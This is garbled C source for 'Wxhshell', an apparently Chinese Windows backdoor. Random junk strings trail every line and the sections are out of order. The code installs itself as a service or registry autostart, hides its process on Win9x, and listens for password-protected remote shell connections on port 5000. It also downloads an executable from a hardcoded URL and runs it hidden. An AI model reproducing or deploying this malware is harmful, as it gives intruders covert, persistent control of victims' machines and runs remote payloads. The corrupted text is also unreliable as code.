DWORD AffinityMask; Lu,72i0O ^
DWORD BasePriority; :/
,h)h)|
ULONG UniqueProcessId; ehB (?
ULONG InheritedFromUniqueProcessId; >ENZ['F
} PROCESS_BASIC_INFORMATION; XlPq>@4p
R{"Kh2q_
PROCNTQSIP NtQueryInformationProcess; Mz,G;x}
&@CcH_d*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (27bNKr
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v7x%V%K
ygoA/*s
HANDLE hProcess; `R@1Sc<*|
PROCESS_BASIC_INFORMATION pbi; +~b@W{
?S^ U-.`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rEEoR'c6
if(NULL == hInst ) return 0; CN4Q++{
JgQ,,p_V?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D?ojxHe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +VxzWNs*JP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 34S0W]V
&Z!O
if (!NtQueryInformationProcess) return 0; yClX!OL
-?L~\WJAL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G^E"#F
if(!hProcess) return 0; Kx,#Wg{H
jd]Om
r!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w1tWyKq
6U|An*
CloseHandle(hProcess); T%|{Qo<j
IiW*'0H:/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~n9x
,
if(hProcess==NULL) return 0; Aw#@}TGT
y&;ytNG&<
HMODULE hMod; _Q)rI%A2
char procName[255]; /dGpac
unsigned long cbNeeded; QP HibPP:
`5da
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u7 s-
Fo\* Cr9D
CloseHandle(hProcess); ejs_ ?
%l{0z<
if(strstr(procName,"services")) return 1; // 以服务启动 =^a Ngq
(lPiv+'n
return 0; // 注册表启动 FfEP@$
} b ]A9$-
WBc ,/lgZ
// 主模块 ux>wa+XFa
int StartWxhshell(LPSTR lpCmdLine) ->"Z1
{ O^/z7,
SOCKET wsl; %DOV)Qc2
BOOL val=TRUE; 3vdhoS|
int port=0; B?M&j
struct sockaddr_in door; +%E)]*Ym
{v3?.a$u
if(wscfg.ws_autoins) Install(); P_e9>t@
GnT Cq_\
port=atoi(lpCmdLine); Owd{;
_#;UXAi
if(port<=0) port=wscfg.ws_port; M/<>'%sj
Zw@=WW[Q`p
WSADATA data; H5MO3DJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2iX57-6Ub
+"P!es\q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EhWYFQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pAdx 6
door.sin_family = AF_INET; Twq/Y07M
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -!Ov{GHr0
door.sin_port = htons(port); /O`<?aP%
MgpjC`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $c^,TAN
closesocket(wsl); Cpg>5N~;L
return 1; `2
6t+Tb
} J_-K"T|f
rJz`v/:|P
if(listen(wsl,2) == INVALID_SOCKET) { >]dH1@@
closesocket(wsl); P:8qmDXo
return 1; v?6g.
[;?
} {wK|C<K
Wxhshell(wsl); czG]rl\1
WSACleanup(); yxx9h3
|[+/ ]Y
return 0; NC@L,)F
~7;AV(\%e
} [N=v=J9
8?l/x
// 以NT服务方式启动 yq6Gyoi<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0(o{V:l%Z|
{ PS:"mP7n
DWORD status = 0; ",,W1]"%
DWORD specificError = 0xfffffff; 6B8gMO
&m5FYm\
serviceStatus.dwServiceType = SERVICE_WIN32; ^}Wk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yiO/0n Mp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j3t,Cx
serviceStatus.dwWin32ExitCode = 0; _48@o^{
serviceStatus.dwServiceSpecificExitCode = 0; YP4lizs.
serviceStatus.dwCheckPoint = 0; hBRcI0R
serviceStatus.dwWaitHint = 0; fk5$z0 /
jA'7@/F/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]@P!Q&V #
if (hServiceStatusHandle==0) return; 9]4 W
_Dq,\}
status = GetLastError(); Oaj$Z-
f
if (status!=NO_ERROR) ^l8&y;-T
{ /:GeXDJw
serviceStatus.dwCurrentState = SERVICE_STOPPED; jt?DogYx
serviceStatus.dwCheckPoint = 0; bmP2nD6
serviceStatus.dwWaitHint = 0; 0wE)1w<C~
serviceStatus.dwWin32ExitCode = status; O'.sK pXe
serviceStatus.dwServiceSpecificExitCode = specificError; xf|vz|J?y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {kOTQG?y
return; 8M6wc394
} &P:2`\'
:jHDeF.A
serviceStatus.dwCurrentState = SERVICE_RUNNING; uXuA4o$t-
serviceStatus.dwCheckPoint = 0; N~!
GAaD
serviceStatus.dwWaitHint = 0; sZh| <2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lHI?GiB@
} Y'U]!c9
n4A#T#D!t3
// 处理NT服务事件,比如:启动、停止 /RBIZ_
VOID WINAPI NTServiceHandler(DWORD fdwControl) +@mgb4_
{ *|*6q/
switch(fdwControl) \$Q?
{ qBDhCE
case SERVICE_CONTROL_STOP: .~Gt=F+`s
serviceStatus.dwWin32ExitCode = 0; V jqs\
serviceStatus.dwCurrentState = SERVICE_STOPPED; N@x5h8
serviceStatus.dwCheckPoint = 0; W6&mXJ^3L
serviceStatus.dwWaitHint = 0; fN_Ilg)t?5
{ ozUsp[W>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f=cj5T:[
} @.8FVF
return; `gE_u
case SERVICE_CONTROL_PAUSE: kP[LS1}*
serviceStatus.dwCurrentState = SERVICE_PAUSED; _xu_W;nh
break; FCIA8^}s
case SERVICE_CONTROL_CONTINUE: +Ua.\1"6
serviceStatus.dwCurrentState = SERVICE_RUNNING; dw YGhhm
break; 6}JW- sA
case SERVICE_CONTROL_INTERROGATE: f7v|N)
break; []<N@a6VA>
}; DP6>fzsl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UZ-[vD1n
} neBcS[
qBF}-N_
// 标准应用程序主函数 hOM#j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J/>9w
{
["BD,mB
Xf%wW[~
// 获取操作系统版本 zL=PxFw0
OsIsNt=GetOsVer(); i~ITRi@
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7*C>4Gs
W%P$$x5&
// 从命令行安装 t2hI^J0y
if(strpbrk(lpCmdLine,"iI")) Install(); <d~IdK'\x
Fx3 X
// 下载执行文件 7OdJ&Gzd
if(wscfg.ws_downexe) { /;;$9O9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y*-dUJK-`
WinExec(wscfg.ws_filenam,SW_HIDE); ,tl(\4n
} M-zqD8D
U}c05GiQw
if(!OsIsNt) { Lt2<3DB
// 如果时win9x,隐藏进程并且设置为注册表启动 3FsX3K,_X
HideProc(); F-GrQd:O=
StartWxhshell(lpCmdLine); %'&_Po\
} Gq =i-I
else Noi+mL
if(StartFromService()) A&UGr971
// 以服务方式启动 Q60'5Wt
StartServiceCtrlDispatcher(DispatchTable); 60X))MyN
else ;R*tT%Z,
// 普通方式启动 4YyVh.x
StartWxhshell(lpCmdLine); W0\
n?$ZC~
I!u fw\[
return 0; TFI$>Oz|
} RCY}JH>}
fK10{>E1
O)D+u@RhH
@WnW
@'*F
=========================================== H:4?sR3
gV;9lpZ2
H|s,;1#
v@Bk)Z
+P|Z1a -jB
7CSd}@71\
" (
P\oLr9
&w{:
qBa
#include <stdio.h> f19'IH$n{
#include <string.h> >*"1`vcxF
#include <windows.h> wj-z;YCV
#include <winsock2.h> d6zfP1lQ
#include <winsvc.h> @%
.;}tC
#include <urlmon.h> _KAg1Ww
ftccga
#pragma comment (lib, "Ws2_32.lib") <]'1Y DA
#pragma comment (lib, "urlmon.lib") u69fYoB'
Wq"^ {
#define MAX_USER 100 // 最大客户端连接数 , A;wLI
#define BUF_SOCK 200 // sock buffer VL8yL`~zc.
#define KEY_BUFF 255 // 输入 buffer 3)_(t.$D
XpT+xv1`;
#define REBOOT 0 // 重启 R@lA5w
#define SHUTDOWN 1 // 关机 2T3b6
~vw$Rnotz
#define DEF_PORT 5000 // 监听端口 a=AP*adx8
`c'R42SA
#define REG_LEN 16 // 注册表键长度 Qt"i
#define SVC_LEN 80 // NT服务名长度 9k3RC}dEr
gi
JjE
// 从dll定义API p&W{g$D>
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f!13Ob<8r
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P*3PDa@
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f;]C8/ W
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j)Y68fKK
^wMZG'/
// wxhshell配置信息 x2Dg92
struct WSCFG { B;r` 1
G
int ws_port; // 监听端口 zTW)SX_O
char ws_passstr[REG_LEN]; // 口令 Qkx}A7sK
int ws_autoins; // 安装标记, 1=yes 0=no bxvpj
char ws_regname[REG_LEN]; // 注册表键名 >36>{b<'$*
char ws_svcname[REG_LEN]; // 服务名 ?^!:
Lw
char ws_svcdisp[SVC_LEN]; // 服务显示名 8w9?n3z=}
char ws_svcdesc[SVC_LEN]; // 服务描述信息 p(pL"
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^9
Pae)
int ws_downexe; // 下载执行标记, 1=yes 0=no b9"HTQHl
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y%#r&de
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cd'K~Ch3
b&I{?'"% 8
}; l]F)]>AE
YTV|]xpR
// default Wxhshell configuration %%^by
struct WSCFG wscfg={DEF_PORT, llRQxk
"xuhuanlingzhe", 3R`eddenF
1, y /OPN<=*
"Wxhshell", }=
(|3\v
"Wxhshell", \>)#cEX5
"WxhShell Service", 1MxO((k
"Wrsky Windows CmdShell Service", K%(DRkj)
"Please Input Your Password: ", )|IMhB+4
1, Tu7sA.73k
"http://www.wrsky.com/wxhshell.exe", *7^w}v+.
"Wxhshell.exe" U{Moyj
}; 4j}uVGi{e
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